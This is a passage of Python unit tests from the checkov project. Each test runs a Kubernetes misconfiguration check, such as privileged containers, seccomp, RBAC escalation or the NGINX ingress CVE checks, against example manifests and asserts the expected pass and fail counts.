= os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubeletStreamingConnectionIdleTimeout" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubernetesDashboard.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubernetesDashboard import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubernetesDashboard(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubernetesDashboard" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubletEventCapture.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubletEventCapture import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubletEventCapture(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubletEventCapture" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_KubletRotateCertificates.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.KubletRotateCertificates import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestKubletRotateCertificates(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KubletRotateCertificates" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: with self.subTest(record=record): self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: with self.subTest(record=record): self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_LivenessProbe.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.LivenessProbe import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestLivenessProbe(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LivenessReadiness" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_MemoryLimits.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.MemoryLimits import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestMemoryLimits(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Requests_Limits" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_MemoryRequests.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.MemoryRequests import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestMemoryRequests(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Requests_Limits" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_MinimizeCapabilities.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.MinimizeCapabilities import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestMinimizeCapabilities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DropCapabilities" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_MinimizeCapabilitiesPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.MinimizeCapabilitiesPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestMinimizeCapabilitiesPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_NginxIngressCVE202125742Alias.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.NginxIngressCVE202125742Alias import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestNginxIngressCVE202125742Alias(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NginxIngressCVE202125742" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_NginxIngressCVE202125742AllSnippets.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.NginxIngressCVE202125742AllSnippets import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestNginxIngressCVE202125742AllSnippets(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NginxIngressCVE202125742" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_NginxIngressCVE202125742Lua.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.NginxIngressCVE202125742Lua import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestNginxIngressCVE202125742Lua(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NginxIngressCVE202125742" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_PeerClientCertAuthTrue.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.PeerClientCertAuthTrue import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestPeerClientCertAuthTrue(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PeerClientCertAuthTrue" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(1, summary['passed']) self.assertEqual(2, summary['failed']) for failed in report.failed_checks: self.assertIn("should-fail", failed.resource) for passed in report.passed_checks: self.assertIn("should-pass", passed.resource) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_PodSecurityContext.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.PodSecurityContext import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestPodSecurityContext(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityContexts" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_PrivilegedContainers.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.PrivilegedContainers import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestPrivilegedContainers(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PrivilegedContainers" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_PrivilegedContainersPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.PrivilegedContainersPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestPrivilegedContainersPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RbacApproveCertificateSigningRequests.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RbacApproveCertificateSigningRequests import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRbacApproveCertificateSigningRequests(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RbacApproveCertificateSigningRequests" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'ClusterRole.test.test-should-pass-1', 'ClusterRole.test.test-should-pass-2' } failing_resources = { 'ClusterRole.test.test-should-fail-1', 'ClusterRole.test.test-should-fail-2', 'ClusterRole.test.test-should-fail-3' } self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RbacBindRoleBindings.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RbacBindRoleBindings import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRbacBindRoleBindings(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RbacBindRoleBindings" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'ClusterRole.test.test-should-pass-1', 'Role.test.test-should-pass-2', } failing_resources = { 'ClusterRole.test.test-should-fail-1', 'Role.test.test-should-fail-2' } self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RbacControlWebhooks.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RbacControlWebhooks import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRbacControlWebhooks(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RbacControlWebhooks" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'ClusterRole.test.test-should-pass-1', 'ClusterRole.test.test-should-pass-2', } failing_resources = { 'ClusterRole.test.test-should-fail-1', 'ClusterRole.test.test-should-fail-2' } self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RbacEscalateRoles.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RbacEscalateRoles import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRbacEscalateRoles(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RbacEscalateRoles" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'ClusterRole.test.test-should-pass-1', 'Role.test.test-should-pass-2', } failing_resources = { 'ClusterRole.test.test-should-fail-1', 'Role.test.test-should-fail-2' } self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ReadOnlyFilesystem.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ReadOnlyFilesystem import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestReadOnlyFilesystem(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ReadOnlyFilesystem" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ReadinessProbe.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ReadinessProbe import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestReadinessProbe(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LivenessReadiness" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RootContainers.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RootContainers import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRootContainers(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RootContainers" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 5) self.assertEqual(summary['failed'], 7) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RootContainersHighUID.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RootContainersHighUID import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRootContainersHighUID(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RootContainersHighUID" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 6) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RootContainersPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.RootContainersPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRootContainersPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RootContainersPSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_RotateKubeletServerCertificate.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.RotateKubeletServerCertificate import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestRotateKubeletServerCertificate(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_RotateKubeletServerCertificate" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "Pod.kube-system.kube-controller-manager-enabled", "Pod.kube-system.kubelet-enabled", } failing_resources = { "Pod.kube-system.kube-controller-manager-disabled", "Pod.kube-system.kubelet-disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_SchedulerBindAddressy.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.SchedulerBindAddress import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestSchedulerBindAddress(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SchedulerBindAddress" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_SchedulerProfiling.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.SchedulerProfiling import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestSchedulerProfiling(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SchedulerProfiling" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: self.assertIn("FAILED", record.file_path) self.assertIn(record.check_id, [check.id]) for record in report.passed_checks: self.assertIn("PASSED", record.file_path) self.assertIn(record.check_id, [check.id]) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_Seccomp.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.Seccomp import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestSeccomp(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_Seccomp" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passed_resources = [check.resource for check in report.passed_checks] failed_resources = [check.resource for check in report.failed_checks] self.assertEqual(summary["passed"], 12) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) expected_passed_resources = [ "CronJob.default.cronjob-passed", "CronJob.default.cronjob-passed2", "CronJob.default.cronjob-passed3", "CronJob.default.cronjob-securityContext-passed", "Deployment.default.seccomp-passed-deployment", "Deployment.default.seccomp-passed-metadata-annotations", "Pod.default.seccomp-passed-metadata-annotations-docker", "Pod.default.seccomp-passed-metadata-annotations-runtime", "Pod.default.seccomp-passed-security-context", "StatefulSet.default.RELEASE-NAME", "Pod.default.my-secure-pod", "Deployment.aws-dev.fdn-svc", ] expected_failed_resources = [ "CronJob.default.cronjob-failed", "Deployment.infra.app-cert-manager", "Pod.default.seccomp-failed", "Pod.default.my-insecure-pod", ] self.assertCountEqual(expected_passed_resources, passed_resources) self.assertCountEqual(expected_failed_resources, failed_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_SeccompPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.SeccompPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestSeccompPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_Secrets.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.Secrets import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecrets(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Secrets" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ServiceAccountTokens.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ServiceAccountTokens import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestServiceAccountTokens(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ServiceAccountTokens" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ShareHostIPC.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ShareHostIPC import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class ShareHostIPC(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ShareHost" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ShareHostIPCPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ShareHostIPCPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class ShareHostIPCPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ShareHostPID.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ShareHostPID import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class ShareHostPID(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ShareHost" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ShareHostPIDPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ShareHostPIDPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class ShareHostPIDPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_SharedHostNetworkNamespace.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.SharedHostNetworkNamespace import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class SharedHostNetworkNamespace(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ShareHost" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_SharedHostNetworkNamespacePSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.SharedHostNetworkNamespacePSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class SharedHostNetworkNamespacePSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() 